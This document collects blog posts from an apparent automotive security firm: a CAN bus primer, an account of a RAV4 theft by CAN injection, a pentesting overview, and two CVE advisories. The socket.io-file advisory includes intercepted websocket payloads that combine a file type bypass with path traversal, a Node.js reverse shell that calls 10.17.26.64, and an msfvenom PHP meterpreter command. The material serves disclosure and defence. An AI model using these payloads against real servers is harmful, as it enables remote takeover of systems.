Categories
CAN protocol General

Introduction to the CAN bus

The most common form of messaging inside automotive vehicles is performed over the CAN protocol. It is robust, resilient, and efficient to implement.

In this blog post, we will delve deeper into the protocol in order to understand more precisely how it works. Later in another post, we will describe the security of this protocol and what we look for during penetration tests. So let us begin.

The CAN Bus – How Did It Come About?

Vehicles were becoming increasingly electrical by the early 80s. As these electrical systems grew, so did the amount of components and the complexity of communications. This required more wiring and resources to make these systems work, so there was a need to optimize their development and make communications between devices more efficient without all the wiring involved.

Around the same time, researchers at Bosch wanted to find a serial bus communications method that could fill this need. So, they developed and released version 1.0 of the CAN bus protocol in 1986.

Once Intel and Philips introduced CAN controller chips a year later, CAN developed into the most widely used automotive messaging protocol. Other milestones include:

  • 1991: The CAN 2.0 standard was established and split into two parts: CAN 2.0A (with an 11-bit identifier) and CAN 2.0B (with a 29-bit identifier).
  • 1993: The International Organization for Standardization (ISO) adopted CAN as an international standard (ISO 11898).
  • 2003: Introduction of CAN FD (Flexible Data-rate), an extension of the original CAN protocol that allows for higher data rates and larger payloads.

How Does It Work?

Before we get into the protocol itself, it makes sense to understand how CAN works physically and how signals are sent over the wire.

CAN bus signals are electrical signals translated to binary data that travel over two twisted wires. One wire is called ‘CAN high’ and the other ‘CAN low.’ When the bus is on, it typically operates with both wires transmitting around a voltage of 2.5V. This is its natural state and is called the recessive state. This state is signified by the bit value 1. However, sending the value 0 requires a transition of the bus to the dominant state. CAN high sends a voltage about 1.25V above. CAN low sends about 1.25V below the standard baseline voltage. It is due to this divergence of voltages that this form of signaling is called ‘differential signaling.’

The CAN Protocol and Its Packet Structure

Now that we know how CAN works physically, we can advance to the protocol and its composition.

The electrical transmissions of signals representing binary data must naturally be translated into packets that adhere to the structure of the CAN protocol.

CAN packets, or frames as they are also called, have the following components:

  • SOF: This is called the ‘Start of Frame’ and when set to 0, tells the CAN bus to expect a message.
  • ID: This is the identifier to send the message. Usually 11 bits but in extended mode is 29 bits. Lower values receive higher priority.
  • RTR: The Remote Transmission Request to indicate whether a node needs to transmit or receive data.
  • Control: The Control contains the Identifier Extension Bit (IDE) which is set to 0 for 11 bit IDs and 1 for 29 bit IDs. Also included is the Data Length Code (DLC) that specifies the length of the data in the packet.
  • Data: This is the payload to be sent. The maximum is 8 bytes per frame. However, with CAN-FD this increases to 64 bytes.
  • CRC: The Cyclic Redundancy Check for data protection and integrity
  • ACK: The ACK bits acknowledge that the node has successfully received the data
  • EOF: The End of Frame
A CAN frame. Author: Ken Tindell, Canis Automotive Labs Ltd. CC BY-SA 4.0

In short, there are 4 types of CAN frames:

  • Data frames: these are messages that intend to send data to a particular node on the CAN bus
  • Error frames: these frames indicate an error in the communications and will contain an error flag and error delimiter superimposed into the frame.
  • Remote frames: This will have the RTR field set to recessive 1 and contains a request for data from a node.
  • Overload frames: In the case the CAN needs an additional delay before sending data or the CAN requires extra time for data processing.

Network Arbitration

Since all nodes on the bus share the same physical connection, there is a danger that message collisions could occur as nodes compete for access. The consequences of these collisions could lead to delays or damage to the messages.

To avoid the extra resources necessary to repair the damage from the collisions, CAN utilizes IDs that implement a priority system. Messages with the highest priority will have the lowest numerical IDs. Messages, for example, with the ID 0x0000 will have automatic priority over all other messages and will be sent first. Messages with higher IDs will wait for that message to be delivered. Once their turn arrives, their messages will enter the bus.

This system seems logical. Not only because it avoids collisions but also takes care that messages that should have higher priority, such as messages concerning the brakes or engine, get to their destination ahead of messages of less importance.

The State of CAN…

With the ever-increasing amounts of data traffic over both the wire and the air, the original conception of the CAN protocol is not sufficient enough to handle the increasing amounts of data and the speeds modern systems now require. The CAN protocol is also, by nature, not very secure. Data is not transmitted encrypted, the bus can easily be sniffed, and there are no natural protections against any forms of injection attacks.

To improve the rates and amount of data transmission, CAN-FD was developed which increases the data payload up to 64 bytes per message.

Driven by increased regulations, companies have also improved the security of their ECUs with methods such as data encryption, SecOC, and intrusion detection systems.

In some systems, this may not be enough. Manufacturers are turning to automotive ethernet because of its capability to deal with higher loads, increased speed of transmission, and customizable security features that could be added, such as authentication over TLS.

Despite its limitations, it appears as if CAN will not go away anytime soon. However, it is important the manufacturers stay on top of developments in the industry to make sure their systems are both optimized and secure.

Categories
CAN Injection

CAN Injection Attacks: A New Form of Vehicle Theft

The automotive cybersecurity field experienced a noteworthy development in 2023 when an automotive cybersecurity researcher reported that his Toyota RAV4 was hijacked and stolen using a novel theft technique known as CAN injection.

The tweets by the security researcher the day his RAV4 was stolen

It was an innovative, yet simple technique that showcased the adaptability of attackers against modernized defenses against automotive threats. All that was necessary for the thief to do was find a spot inside the body of the car he could reach into and place there a special device capable of delivering CAN messages to unlock the car and start it up. OEMs are now prompted, once again, to respond and innovate to this novel, yet simple, technique.

In this article, we will delve into the specifics of the incident further, examining its implications and responses to combat this new technique.

However, to fully grasp the incident, it is essential to understand briefly what CAN is and how it operates.

What is CAN?

The CAN protocol functions as a sort of internal neural network, facilitating the transmission of messages to other Electric Control Units (ECUs) in a standardized and reliable manner. Compared to other protocols, CAN excels in its efficiency and resilience. For this reason, CAN stands out as the central medium for intra-vehicular communications among technologically advanced vehicles. Despite originating in the mid-1980s and entering into automotive in the early 1990s, CAN has proven itself still by its widespread adoption and continued use up to this day.

Not only is CAN fast and reliable, but messages are standardized for compatibility across wide ranges of ECUs and devices. This standardization also substantially reduces the amount of wiring to install as communications between ECUs do not have to be one-to-one between every ECU inside the vehicle. Instead, ECUs can be clustered into smaller groups, forming internal networks that optimize communications and increase safety.

Additionally, the decentralized nature of the CAN bus makes this protocol very reliable. It allows every device on the line to send and receive messages even if one ECU goes down. CAN also protects message integrity and correctness by such mechanisms as CRC checks and ACK signaling.

However, a weakness of CAN is that the protocol does not include native protections against message injection. It is up to the OEM to develop and implement methods to detect fraudulent messages and secure standard communications. As the CAN broadcasts communications to all ECUs on the same line, other connected devices can accept the spoofed messages without authentication. It was this inherent weakness that was taken advantage of and caused the theft of the RAV4.

Decoding the CAN Injection Incident: How Manipulated Messages Led to Car Theft

For some time now, automobile theft developed into a cat-and-mouse game in which thieves creatively invent new methods to attack and steal vehicles while manufacturers respond with solutions to combat them. Advanced vehicle technology served to advance the struggle as we see today.

Thieves introduced techniques such as keyless entry, relay attacks, signal jamming and intercepting, OBD (On-Board Diagnostics) port hacking, and key cloning. In response, manufacturers developed robust defenses. Rolling codes, motion sensors, and improved encryption of unlock codes were invented to protect against keyless and relay attacks. Immobilizers were invented to ensure the vehicle could not start without the correct key fob. Improved device software and Intrusion Detection Systems improved communications security. Smartphone applications now have features that improve security. Finally, VSOCs (Vehicle Security Operations Centers) are increasingly deployed to detect fraudulent CAN messages, remote attacks, and any other potential threats to vehicles and fleets.

Despite these protections, who would have thought that an exposed CAN bus would have been the cause of the next trophy hack?

Concerning the theft of the RAV4 mentioned at the beginning it was precisely that. A headlight ECU that could be reached by simply pulling out the bumper was the entry point to get in the vehicle and start it. From that ECU, the attacker injected messages to open the doors and start the engine. The entire key-unlock and start mechanism was, in effect, bypassed.

In general, if the purpose of stealing a vehicle is to sell it, then the methods the thief will use will be both the easiest and the cleanest. A car that is easy to steal with minimal damage caused will have more value than a car broken into but with damage caused during the process.

The internal structure of the CAN network and the physical wiring inside presented itself as a good opportunity to steal the RAV4 relatively cleanly using the new CAN injection technique. All that was necessary was a little manipulation of the bumper to find a place to inject CAN packets.

As explained earlier, ECUs can be clustered into separate networks. In the case of the RAV4, the ECU controlling the headlights shared the same bus line as the ECU controlling the doors and the smart key. This line was connected to a gateway ECU that could transfer messages to ECUs on other lines. Such ECUs included the one controlling the engine. This diagram can be seen in the image below.

Schemata of the RAV4 CAN bus

While the car is not turned on it maintains a low-energy state and awaits a message, typically an unlock request, to prompt the car to wake up. For instance, when a signal is sent from the key fob to unlock the doors, the transmitted signal initiates an ECU to send messages on the CAN bus to unlock the doors and perform other tasks to prepare the car once the driver enters.

What CAN injection does is upset the communications between the vehicle components by sending fraudulent messages on the bus that mimic real ones. If these fake messages are not caught, then the injection is successful. The thief can now send a “door unlock” message as if from the smart key ECU and the ECU controlling the doors blindly accepts it.

The strategy for attack becomes simple:

  1. Pull out the bumper enough to expose the headlight ECU.
  2. Attach a device to it.
  3. Send messages imitating a “car unlock” sequence from the smart key ECU as if a real request was transmitted from it.
  4. The ECU controlling the doors receive the message. The key is validated and the doors unlock.
  5. A message indicating that the key was validated arrives at the gateway ECU and gets transferred to the ECU controlling the engine immobilizer.
  6. The immobilizer is disabled and the car can start.
  7. Open the door and drive away.
The message injection tool disguised as a JBL mini speaker. Photo by Ken Tindell

All the equipment that the thief needed was a tool to pull out the front bumper and a CAN injection tool masquerading as a tiny JBL wireless Bluetooth speaker. The tool was built to send and receive messages, featuring an additional circuit programmed to block other ECUs on the line from sending messages. The additional circuit was essential to:

  • Block other ECUs from transmitting data
  • Suppress any warnings sent on the bus
  • Prevent the spoofed messages from clashing with real messages from the smart key ECU and their resulting errors

The circuit operates through a mechanism known as a dominant override. It maintains the bus in a recessive state by sending bits of value 1 fast enough so that no other ECUs can send messages. Generally, if an ECU wants to begin packet transmission, it will send the dominant bit. However, this injector tool suppresses any sent dominant bit so fast that it does not appear to any potential receiver. The injector sends the recessive bits too quickly for the other ECUs to transmit. Therefore, only recessive 1’s appear. The only exception occurs when the injector tool transmits. This was the final defense the thief had to get past.

Preventing CAN-injection Attacks

To safeguard against the threat posed by CAN-injection attacks, OEMS must enact countermeasures to improve security and further sustain it in response to subsequent attacks.

The first recommendation is to conceal all ECUs deep enough inside the interior. This way, attackers cannot reach them unless they expend considerable effort, most likely resulting in a stolen car with diminished value once stolen.  

Another effective defense against such attacks is to employ a mechanism that encrypts messages and requires ECUs to authenticate before sending. SecOC (Security On-board Communication) is an excellent mechanism that implements both. SecOC uses cryptographic techniques such as digital signatures and message authentication codes (MACs) to verify the origin and integrity of messages exchanged between ECUs. The challenge-response mechanism involved in authentication also provides effective protections against replay attacks.

The final piece of advice is for OEMs to submit their vehicles to routine automotive penetration tests performed by experts with up-to-date knowledge in automotive cybersecurity. Regular penetration tests ensure the vehicle’s security posture remains resilient against emerging attack vectors, such as CAN injection, and allow for timely updates and enhancements to counter potential new vulnerabilities.

Categories
Automotive Security Testing

Automotive Security Testing Basics: What You Need to Know

Protecting vehicles extends beyond safeguarding valuable assets, it’s about securing lives and sensitive data in an age where automobiles have evolved into intricate networks of interconnected microcomputers. These machines not only facilitate internal connections but also communicate externally, forming a vast web of interconnectivity. However, the rapid technological progression has outpaced cybersecurity measures in the automotive industry, an industry which, for too long, has taken cybersecurity for granted.

The watershed moment came in 2015 after the infamous Jeep hack. Manufacturers were compelled to act and take cybersecurity far more seriously. It could no longer be an afterthought. Governments and international bodies then joined the fray and in response, established regulations that ensure safer vehicles for manufacturers to comply with. The rising tide of cyber threats remains a concern.

Yet, despite these efforts, automotive security remains a relentless cat-and-mouse game. As hacking methods evolve, so must the defense mechanisms. This article aims to advocate for continual automotive cybersecurity testing that underscores the need for more proactive methods to avoid not only financial losses, but damage to the company’s reputation and inconvenience, or even harm, done to its customers.

Automotive Cybersecurity Fundamentals

“If you know the enemy and know yourself, you need not fear the result of a hundred battles. If you know yourself but not the enemy, for every victory gained you will also suffer a defeat. If you know neither the enemy nor yourself, you will succumb in every battle.”

– Sun Tzu

From the perspective of an Original Equipment Manufacturer (OEM), to understand automotive cybersecurity means to be aware not only of the threats posed by an attacker but to have an acute awareness of the available attack surface on the vehicle or device. What is this ‘attack surface?’ The attack surface defines interfacing entry points from which an attacker can attempt to exploit. These attackable entry points enable us to draw possible attack scenarios and attack paths that may lead to the theft or the remote compromise of the vehicle.

Modern automobiles are not only composed of many microcomputers but also comprised of services that users interact with such as Bluetooth and Wi-Fi, and of mobile applications that connect with the car. Let us not forget key fobs too. Every automotive cybersecurity assessment must first identify the threats to the vehicle and its users. We ask ourselves, ‘What would an attacker want to do with this vehicle?’ These threats could include:

  • Remote takeover
  • Shutting down the vehicle
  • Espionage, such as through interior microphones or cameras
  • Unlocking the vehicle to gain entry
  • Vehicle theft
  • Vehicle tracking
  • Disrupt and bypass safety systems
  • Install malware on the vehicle such as ransomware
  • Supply chain disruption
  • Sending unauthorized CAN messages

Once the threats are identified, we then look at the vehicle and identify the attack surface, or entry points, from which an attacker can conduct attacks. We can look at this issue as having two layers. The first layer is a simple identification of the entry points. These attack vectors include such entry points as Bluetooth, Wi-Fi, the OBD connector, the infotainment unit, mobile applications, and key fobs for keyless entry and starting. The second layer then takes each entry point, studies it in more detail to know how it works, and then identifies the weaknesses that could be exploitable. Models can then be created for each of the attackable endpoints that lay out potential tactics for attacks against them.

Once all of the models have been created, we can then diagram the overall attack model, covering all of the entry points and connecting those  points to identify potential attack paths associated with each potential threat. We then thoroughly examine and test the entry points in each chain for any vulnerabilities that could lead to compromise.

Comprehensive automotive cybersecurity testing requires a carefully planned out threat model that consists of all possible attack scenarios from the known threats and attack surface presented on every vehicle. Otherwise, any careless omission of the model may become an attack vector for a successful hack or theft of the vehicle.

Cybersecurity Penetration Testing Methodology for Automotive

Penetration tests are conducted by cybersecurity experts who are hired to perform adversary simulations against all possible attack chains in the threat model to uncover vulnerabilities. These tests are indispensable because not only do they ensure that manufacturers comply with cybersecurity regulation, but also because external cybersecurity experts are trained to spot and exploit weaknesses that internal teams might overlook.

Our testing methodology consists of tests that prepare the OEM against all of the attacks on the automotive kill chain. We can generalize these sorts of attacks into different categories:

  • In-Vehicle Network Testing – Comprehensive testing of interior bus messaging systems, including CAN, Flex-Ray, MOST, and automotive ethernet. This also incorporates gateway security, whole-vehicle diagnostics, and bus network security testing.
  • Electronic Control Unit (ECU) testing – Diagnostic security testing such as UDS (Unified Diagnostic Services) testing, fuzz testing, update procedure testing, message security testing, and reverse engineering for vulnerabilities in the code.
  • Wireless Testing– A comprehensive testing of all wireless networks within the vehicle interfacing either within the vehicle or with the outside world.
  • Bluetooth Security Testing – Assessing vulnerabilities in Bluetooth connections, covering weak authentication, code execution, data storage, unencrypted data transfer, and faulty configurations.
  • Infotainment System Security – Testing the unit to ensure proper protections on the user interface that safeguard the interior filesystem from such attacks as malicious file uploads and examining the operating system for vulnerabilities.
  • Physical Access Assessments – Ensuring the vehicle interior is protected against any break-ins and checking for any exposed devices, such as ECUs, on the exterior of the vehicle susceptible to tampering.
  • Software and Firmware Testing – Comprehensive reviews of software or firmware. This can be done as either a white-box test where we have access to the code, or through reverse engineering.
  • Diagnostic Port Security – Testing the diagnostics port (typically OBD) against physical unauthorized access to ensure attackers cannot use it to maliciously communicate with the vehicle.
  • Mobile App Testing – Assessing security in mobile apps connected to the vehicle to prevent malicious activities, data theft, unauthorized vehicle access, and access to cloud data.
  • Driver Protection Systems Security – Testing the security of such systems as tire pressure monitors, sensors, collision detection, and cruise control for any vulnerabilities.
  • Hardware Security – Examining the hardware of any devices inside the vehicle and checking for vulnerabilities against hardware attacks that could do such things as dump memory or leak secret keys. We also check the secure boot functionality against any tampering. Finally, we perform side-channel analysis and fault-injection attacks to check against any potential data leaks.

The results and feedback from our testing methodology contribute to improved vehicle security, higher product quality, and improved customer protection. These benefits extend across the customer experience to the interconnected realm of automobiles and empower manufacturers with greater insights to refine their development processes

Additionally, our testing methodology ensures compliance with regulations and standards such as UNECE R155 and R156. Vehicle manufacturers in Europe are mandated to meet these requirements starting in 2024.

Our Pentests at Work – Remote Control of a Motorbike

In a recent penetration test on a motorbike, our investigation unveiled a critical vulnerability, providing us with full remote control over the vehicle. Our team identified and exploited a remote code execution (RCE) vulnerability originating from within the head unit of the bike, allowing us to assume control of the underlying Linux operating system. The situation only worsened when we realized that, leveraging the compromised head unit, we could inject Controller Area Network (CAN) messages, thereby gaining the ability to manipulate the entire motorbike, not only at rest but in motion. To emphasize the severity of the situation, we developed a small piece of malware during our testing. This malicious program could be uploaded to the system through the identified vulnerability, enabling it to send messages that tampered with critical functions such as the throttle, odometer readings, and transmission.

This discovery is only one of the many numerous findings from our penetration tests. We test the security of our vehicles from the eyes and mind of an attacker and our methodology is designed precisely to emulate attack plans similar to those of a real-life attacker. By conducting our tests like this, we aim to provide the best results possible to our customers that ensure the security and quality of their vehicles and devices.

Enhancing Security: Practices For Robust Automotive Defense

Effectively securing automotive systems demands continuous awareness, particularly as new research and technologies emerge. OEMs need to revise and update their development process to meet these evolving changes. In the realm of automotive cybersecurity, where the stakes include personal injury or even death, it is critical to always stay on top of the trends as they unfold.

Central to this enterprise is solid and robust communication with partners. Manufacturers not only need to be well informed of the trends in cybersecurity but must be in tune with their partners and third parties involved in the product development process. Third-party devices or software in a vehicle are equally accountable for its security. A flaw in their product could serve as an entry point for a complete vehicle takeover.

As vehicles become increasingly interconnected and as we face increased attacks from outsider nation-states and threat actors, the responsibility for maintaining a robust cybersecurity posture intensifies. OEMs must conduct effective internal testing internally, while continually working with experts in the automotive cybersecurity field. Collaborating with these specialists ensures fine-grained security testing with effective results and advice necessary to improve the security and overall product quality. In this dynamic and ruthless field, a job well done in one project does not guarantee the same success in the future, necessitating continual testing done both internally and with more qualified experts.

Conclusion

The key takeaway is to understand that we are at a critical inflection point in the field of automotive cybersecurity. A field long-neglected for a very long time, the rise in cyber attacks over the last decade has given a new impetus inside the automotive industry to shift more attention to cybersecurity. Only in the last few years has the response finally become commensurate with the threats facing the industry and its consumers.

We highly recommend that OEMs make continuous security testing a high priority as they adapt to the changing and potentially more dangerous landscape. The escalating risks stemming from increased vehicle interconnectivity, rising crime rates, and the growing frequency of cyber-attacks demand it. Leveraging the experts in the field of cybersecurity, who possess the expertise and up-to-date knowledge is vital and must be a consistent practice.

By prioritizing cybersecurity testing, the automotive sector not only safeguards its technological assets but also fortifies its reputation for reliability and safety in an increasingly interconnected world. As cyber security experts, we assert that a proactive and cooperative approach to security testing is not just a choice but a responsibility for securing the future of connected vehicles.

Categories
Security Research

[CVE-2021-29507] Improper Input Validation leads to buffer overflow in dlt-daemon

Title: Improper Input Validation leads to buffer overflow in dlt-daemon
Date: 12/05/2021
CVE-ID: CVE-2021-29507
Author: Thomas Sermpinis
Versions: 2.10.0 < version <= 2.18.6
Package URL: https://github.com/GENIVI/dlt-daemon/
Tested on: dlt-daemon 2.18.6

The dlt-daemon includes a configuration file load functionality (-c) which is vulnerable to a buffer overflow vulnerability and allows a malicious user to supply a specially crafted configuration file which results in a segmentation fault after improper validation of the file content.

What kind of vulnerability is it? Who is impacted? The vulnerable component could be crashed when the configuration file is intentionally/unintentionally containing the special characters. All the applications which are using could fail to generate their dlt logs in system.

Github Advisory

CVE-ID (Mitre)

CVE-ID (NIST)

Categories
Security Research

[CVE-2020-24807] File Type Restriction Bypass in Socket.io-file NPM module

Title: File Type Restriction Bypass in Socket.io-file NPM module
Date: 31/07/2020
CVE-ID: 2020-24807
Advisory: https://github.com/advisories/GHSA-6495-8jvh-f28x
Author: Thomas Sermpinis
Versions: <= 2.0.31
Package URL: https://www.npmjs.com/package/socket.io-file
Tested on: node v10.19.0, Socket.io-file v2.0.31, socket.io v2.3.0
Proof of Concept:

During some of our pentests, we face applications that are well secured with not so many misconfigurations. That means that we have to dig deeper, if the time frame allows it. In one of our pentest we faced a web application running on an embedded device that used web sockets in order to initiate the connection between the server and the client. There are several different technologies that can be used in the back-end system in order to make use of web sockets, but in that case the client made use of Socket.io.

One of the main functionalities of the web application was file upload, and for that reason it used the Socket.io-file NPM module. For more info about the last vulnerability we discovered in this module, you can read the post here. In a sentence, there is a path traversal vulnerability which allowed us to upload files in any path of the system, considering the user that the web server was running on.

This by itself can supply remote code execution, considering that we can possibly wright the ssh_config file, or even the /etc/passwd and /etc/shadow files. But this is the case only in web servers that run with root privileges, so we had to dig deeper for more if we wanted to have remote code execution with a less privileged user.

Hence the file type restriction bypass vulnerability in the Socket.io-file module, which allowed us to bypass the file type restrictions specified in the modules configuration. That way we were able to upload any file type and by adjusting to the underlying configuration, upload the proper shell to obtain remote code execution to the underlying system.

Client and project aside, the upload functionality of socket.io-file is once more vulnerable to improper input validation in a different part of the code, allowing attackers to bypass file type restrictions and it allows them to upload files types of their choice in the underlying system.

Description of the Vulnerability

The default configuration of Socket.io-file comes with an upload functionality handled by websockets. When a user tries to upload a file with the web application, the following client side request is created in order for the file to be created:

Figure 1: Normal websocket request for file upload with Socket.io-file

42["socket.io-file::createFile",{"id":"u_0","name":"testfile.mp3","size":1,"chunkSize":10240,"sent":0,"data":{}}]

In order for this file to be created to the underlying system, the code from index.js of Socket.io-file is executed and the following part of the code, checks for the file type of the file (supplied by the socket.io-file configuration) and acts accordingly (accepts or discards the upload request):

let err = new Error('Not Acceptable file type ' + mimeType + ' of ' + filename + '. Type must be one of these: ' + this.accepts.join(', '));
return sendError(err);
}
else {
self.socket.emit(socket.io-file::complete::${id}, emitObj); self.emit('complete', emitObj);
}
}
else {
self.socket.emit(socket.io-file::complete::${id}, emitObj);
self.emit('complete', emitObj);

As an example, if the user uploads a file with the name “testfile.mp3” (with the applied configuration only allowing .mp3 files), a new .mp3 file will be created. As the aforementioned code makes the check only on the client side and before the websocket request gets created, the upload request can be intercepted and the file name altered in a way that allows us to alter the file type of the created file in the server. The following example exploits this issue:

42["socket.io-file::createFile",{"id":"u_0","name":"testfile.php","size":1,"chunkSize":10240,"sent":0,"data":{}}]

In order to bypass the client side restriction, we have to rename the original file with the file type that is accepted by the web application (in this case .mp3). After we intercept the request, we can change the file type to the original one (e.g. .php), and no checks will be made in the server side. This will have as a result the creation of a .php file in the underlying system, which means that the file type checks has been bypassed.

Additionally, we can combine this attack with our previously disclosed path traversal vulnerability, which in certain configurations can result in code execution in the underlying system as we can see in the next section.

Combining Vulnerabilities to Obtain RCE

Now that we can upload any file type in any server folder we want to, it means that in certain configurations we can acquire code execution in the underlying system.

Case 1: Changing the configuration files.

One of the things we can do is alter the configuration files, add malicious javascript libraries in the webserver and alter the index.html in order to load them. A good example will be to alter the index.html file by copying the contents of it and adding a <script> tag to include a js file in it.

After that we can also upload a .js file (the one that we include in the index.html file, which is loaded by the server) which will include the following code:

(function(){
var net = require(“net”),
cp = require(“child_process”),
sh = cp.spawn(“/bin/sh”, []);
var client = new net.Socket();
client.connect(8080, “10.17.26.64”, function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application from crashing
})();

This reverse shell will work only in certain misconfigured Node.js installations, which are not so rare in the wild. Changing the IP and port of our listener (you can start a listener to your attacking machine with nc -lnvp 8080) and by making the changes mentioned above, we can obtain a reverse shell, where we can execute commands in the underlying system.

Case 2: Exploiting configuration specific vulnerabilities.

There are many different configurations that can exist running the vulnerable module. One of them could be a node.js server running PHP. As crazy as it sounds, there are multipurpose servers that can support this kind of functionality, which are relatively easy to exploit.

To create a PHP reverse shell we can use msfvenom and execute the following command:

msfvenom -p php/meterpreter_reverse_tcp LHOST=10.17.26.64 LPORT=4443 -f raw > shell.mp3

Figure 2: Creating a reverse shell in PHP and starting a listener to receive the connection after the shells execution.

This will create a php file that when executed by the server will supply us with a reverse shell in our listener. To upload the file using our combined vulnerabilities, we can alter the upload websocket request and alter it as follows:

42[“socket.io-file::createFile”,{“id”:”u_0″,”name”:”../public/shell.php”,”size”:1,”chunkSize”:10240,”sent”:0,”data”:{}}]

Figure 3: Original upload request through websockets, versus edited request, in order to change upload directory (using path traversal vulnerability) and file type.

This will upload our file in the public folder of our webserver, which is allowed to be accessed in our configuration. By navigating to the file with our browser, we are able to execute the php shell and get a reverse shell in our attacking machine.

Figure 4: Remote code execution succeeded, after navigating to the newly uploaded shell.

Issue Replication

In order to replicate the issue, the following steps have to be executed:

  • Setup a proxy to intercept HTTP and WebSocket requests (e.g. Burp Suite or OWASP Zafp)
  • Create a file which will be of the type that is accepted by the web application. (The contents of the file can be of any type)
  • Upload a file using the Socket.io-file web application and intercept the websocket request
  • Change the “name” parameter by adding altering the file type of the file, with the desired one:
    • 42[“socket.io-file::createFile”,{“id”:”u_0″,”name”:”testfile.php”,”size”:1,”chunkSize”:10240,”sent”:0,”data”:{}}]
    • This example will create the testfile.php file in the data directory of the current user (our test server stores files in /home/ubuntutest/Documents/socket-app/data)

Remediation

No fix is currently available. Consider using an alternative package or technology until a fix is made available.

Vulnerability Disclosure Timeline

Following the npm guidelines for vulnerability disclosure (“If maintainers are unresponsive after 45 days, npm Security makes the advisory public”), we responsibly disclosed this vulnerability on 31st of July 2020.

  • Initial Disclosure: 31st July 2020
  • Security Team Validation: 11th August 2020
  • Advisory Release: 2nd October 2020
  • CVE ID Assigned: 6th October 2020